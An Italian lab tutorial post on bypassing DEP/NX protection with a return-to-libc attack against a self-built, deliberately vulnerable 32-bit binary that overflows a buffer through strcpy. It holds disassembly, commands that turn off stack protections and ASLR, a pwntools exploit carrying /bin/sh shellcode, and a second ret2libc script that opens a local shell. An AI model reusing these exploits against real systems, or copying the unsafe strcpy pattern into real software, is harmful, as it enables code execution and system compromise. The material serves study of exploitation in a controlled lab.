SPAGHETTI HACKER

  1. DEP/NX BYPASS - bash
    log.012

    Tags
    bugs
    By AKIRA BASHO il 5 Feb. 2023
     
    0 Comments   52 Views
    .
    jmGDw7L

    ;DEP/NX Protezione Esecuzione Dati (DEP) o No-Execute (NX). Quando questa opzione è abilitata, funziona con il processore per impedire attacchi di overflow del buffer bloccando l'esecuzione del codice dalla memoria contrassegnata come non eseguibile; per bypassare questa protezione utilizzeremo la tecnica del return to libc

    [0x0804925b]> s sym.secure
    [0x080491f6]> pdf
    ;arg char **src @ ebp+0x8
    ;var int32_t var_4h @ ebp-0x4
    ;var char *dest @ ebp-0x108

    0x080491f6 f30f1efb endbr32
    0x080491fa 55 push ebp
    0x080491fb 89e5 mov ebp, esp
    0x080491fd 53 push ebx
    0x080491fe 81ec04010000 sub esp, 0x104

    ;>>> 0x104
    ;260 byte sullo stack

    0x08049204 e827ffffff call sym.__x86.get_pc_thunk.bx
    0x08049209 81c3f7200000 add ebx, 0x20f7
    0x0804920f 83ec0c sub esp, 0xc
    0x08049212 8d8308edffff lea eax, [ebx - 0x12f8]
    0x08049218 50 push eax ; const char *s
    0x08049219 e892feffff call sym.imp.puts ; int puts(const char *s)

    [0x080491f6]> iz
    [Strings]
    nth paddr vaddr len size section type string
    ―――――――――――――――――――――――――――――――――――――――――――――――――――――――
    0 0x00002008 0x0804a008 18 19 .rodata ascii Quale è il tuo nome?
    1 0x0000201b 0x0804a01b 11 12 .rodata ascii Augh! %s!\n
    2 0x00002028 0x0804a028 52 53 .rodata ascii Augh, sono il tuo secure binary!

    ;printf("Quale è il tuo nome?\n");

    0x0804921e 83c410 add esp, 0x10
    0x08049221 8b4508 mov eax, dword [src]
    0x08049224 83c004 add eax, 4
    0x08049227 8b00 mov eax, dword [eax]
    0x08049229 83ec08 sub esp, 8
    0x0804922c 50 push eax ; const char *src
    0x0804922d 8d85f8feffff lea eax, [dest]
    0x08049233 50 push eax ; char *dest
    0x08049234 e867feffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)

    ;qui abbiamo il problema del buffer overflow, la funzione strcpy copia il buffer in input senza fare alcun controllo sulla lunghezza di quest'ultimo, cosa che può generare l'overflow; il payload inserito in input ci permetterà di sovrascrivere l'indirizzo di ritorno della funzione secure per andare ad eseguire la shellcode dallo stack; questo inizialmente è possibile senza alcuna protezione DEP/NX abilitata;

    0x08049239 83c410 add esp, 0x10
    0x0804923c 83ec08 sub esp, 8
    0x0804923f 8d85f8feffff lea eax, [dest]
    0x08049245 50 push eax
    0x08049246 8d831bedffff lea eax, [ebx - 0x12e5]
    0x0804924c 50 push eax ; const char *format
    0x0804924d e83efeffff call sym.imp.printf ; int printf(const char *format)

    ;printf("Augh! %s!\n", buff);

    0x08049252 83c410 add esp, 0x10
    0x08049255 90 nop
    0x08049256 8b5dfc mov ebx, dword [var_4h]
    0x08049259 c9 leave
    0x0804925a c3 ret


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>


    char secure(char *name[])
    {
    char buff[256];
    printf("Quale è il tuo nome?\n");
    strcpy(buff, name[1]);
    printf("Augh! %s!\n", buff);
    }


    int main(int argc, char *argv[])
    {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    printf("Augh, sono il tuo secure binary!\n");
    secure(argv);
    return 0;
    }

    sudo apt-get install gcc-multilib
    gcc depnx.c -o depnx -fno-stack-protector -no-pie -Wl,-z,norelro -m32 -z execstack

    #echo 0 > /proc/sys/kernel/randomize_va_space

    ;qui andiamo a disabilitare temporaneamente l'ASRL (Address Space Layout Randomization), che è un'altra tecnica di protezione, utilizzata per aumentare la difficoltà di eseguire un attacco di overflow del buffer che richiede all'attaccante di conoscere la posizione dell' eseguibile in memoria.

    checksec --file ./depnx
    [*] '/home/re/FollowTheWhiteRabbit/Code/depnx'
    Arch: i386-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x8048000)
    RWX: Has RWX segments

    ;NX disabled;la protezione NX è disabilitata, lo stack è eseguibile

    gdb ./depnx
    gdb-peda$ b main
    Breakpoint 1 at 0x804925b
    gdb-peda$ set disassembly-flavor intel
    gdb-peda$ disass secure

    0x0804922d <+55>: lea eax,[ebp-0x108]
    0x08049233 <+61>: push eax
    0x08049234 <+62>: call 0x80490a0 <strcpy@plt>
    0x08049239 <+67>: add esp,0x10

    gdb-peda$ b *0x08049239
    Breakpoint 2 at 0x8049239

    gdb-peda$ r
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    Breakpoint 2, 0x08049239 in secure ()
    gdb-peda$ x/32x $esp

    ;fermandoci subito dopo la funzione strcpy e analizzando lo stack ci facciamo un'idea degli indirizzi di memoria ipotetici che possiamo usare per intercettare la NOP Sled

    #!/usr/bin/env python

    import sys
    from pwn import *
    from pwnlib import *

    binary = ELF('./depnx')

    executable = './depnx'
    payload = '\x90'*222

    ;la nostra NOP Sled di 222 bytes

    payload += '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b'
    payload += '\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'

    ;la shellcode di 46 bytes

    payload += '\x80\xcd\xff\xff' # stack

    r = process([executable, payload])
    r.interactive()
    sys.exit(0)

    $ python3 depnx.py
    [*] '/home/re/FollowTheWhiteRabbit/Code/depnx'
    Arch: i386-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x8048000)
    RWX: Has RWX segments
    sys:1: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
    [+] Starting local process './depnx': pid 5877
    [*] Switching to interactive mode
    Augh, sono il tuo secure binary!
    Quale è il tuo nome?
    Augh! \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0\xb0F1\xdb1\xc9\xcd\x80\xeb[1\xc0\x88C\x07\x89C\x0c\x0b\x8dS\x0c\x80\xe8\xe5\xff\xff\xff/bin/sh\x80\xcd\xff\xff!
    $ whoami
    re

    ;ora andiamo a compilare il programma abilitando la protezione DEP/NX

    gcc depnx.c -o depnx -fno-stack-protector -no-pie -Wl,-z,norelro -m32

    checksec --file ./depnx
    [*] '/home/re/FollowTheWhiteRabbit/Code/depnx'
    Arch: i386-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

    ;NX: NX enabled; abbiamo abilitato la protezione DEP/NX

    python3 depnx.py
    [*] '/home/re/FollowTheWhiteRabbit/Code/depnx'
    Arch: i386-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    sys:1: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
    [+] Starting local process './depnx': pid 6014
    [*] Switching to interactive mode
    Augh, sono il tuo secure binary!
    Quale è il tuo nome?
    Augh! \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0\xb0F1\xdb1\xc9\xcd\x80\xeb[1\xc0\x88C\x07\x89C\x0c\x0b\x8dS\x0c\x80\xe8\xe5\xff\xff\xff/bin/sh\x80\xcd\xff\xff!
    [*] Got EOF while reading in interactive
    $
    [*] Process './depnx' stopped with exit code -11 (SIGSEGV) (pid 6014)
    [*] Got EOF while sending in interactive

    sudo dmesg
    [ 3293.129191] depnx[6032]: segfault at ffffcd80 ip 00000000ffffcd80 sp 00000000ffffce70 error 15

    ;utilizzando lo stesso script python di exploit, otteniamo un SIGSEGV, perchè abbiamo provato ad eseguire codice dallo stack, che ora non è eseguibile

    ;ecco di cosa abbiamo bisogno per il nostro exploit; setteremo il return address della funzione secure con l'indirizzo di una system della libc, che proprio perchè non si trova nello stack, non eseguibile, ci permetterà di ottenere una shell

    top of stack
    EBP
    EIP addr of system func (libc)
    dummy ret addr
    addr of /bin/sh

    ;abbiamo bisogno del dummy ret addr, perchè la system va a cercarsi il suo parametro dopo un ipotetico return address della funzione che lha chiamata; in questo caso nessuna funzione chiama la system, quindi abbiamo bisogno di inserire un dummy ret address nel buffer, dopo il quale ci sarà l'indirizzo della stringa /bin/sh

    ldd depnx
    linux-gate.so.1 (0xf7fce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dac000)
    /lib/ld-linux.so.2 (0xf7fd0000)

    ;la nostra libc è in memoria dall'indirizzo 0xf7dac000

    strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "bin/sh"
    19912f /bin/sh

    ;qui abbiamo l'offset della stringa /bin/sh a partire da 0xf7dac000 che è l'indirizzo in memoria della libc

    Breakpoint 1, 0x0804925b in main ()
    gdb-peda$ vmmap libc
    Start End Perm Name
    0xf7dac000 0xf7dc9000 r--p /usr/lib/i386-linux-gnu/libc-2.32.so
    0xf7dc9000 0xf7f2a000 r-xp /usr/lib/i386-linux-gnu/libc-2.32.so
    0xf7f2a000 0xf7f9d000 r--p /usr/lib/i386-linux-gnu/libc-2.32.so
    0xf7f9d000 0xf7f9f000 r--p /usr/lib/i386-linux-gnu/libc-2.32.so
    0xf7f9f000 0xf7fa1000 rw-p /usr/lib/i386-linux-gnu/libc-2.32.so

    ;il gdb attraverso il comando vmmap libc ci da conferma dell'indirizzo di partenza della libc

    0xf7dac000 + 0x19912f = 0xf7f4512f /bin/sh

    ;sommando l'indirizzo di partenza della libc in memoria all'offset della stringa /bin/sh ricaviamo l'indirizzo di quest'ultima

    gdb ./depnx
    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0xf7df24e0 <system>

    ;ci ricaviamo l'indirizzo della system da dentro il gdb

    #!/usr/bin/env python

    import sys
    from pwn import *
    from pwnlib import *

    binary = ELF('./depnx')

    executable = './depnx'
    payload = "A"*268

    payload += '\xe0\x24\xdf\xf7' # system
    payload += "B"*4
    payload += '\x2f\x51\xf4\xf7' # /bin/sh

    r = process([executable, payload])
    r.interactive()
    sys.exit(0)

    python3 depnxbypass.py
    [*] '/home/re/FollowTheWhiteRabbit/Code/depnx'
    Arch: i386-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)
    sys:1: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
    [+] Starting local process './depnx': pid 6597
    [*] Switching to interactive mode
    Augh, sono il tuo secure binary!
    Augh! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0$\xdf\xf7BBBB/Q\xf4\xf7!
    $ whoami
    re


    Edited by AKIRA BASHO - 2/5/2023, 20:52
      Share  
     
    .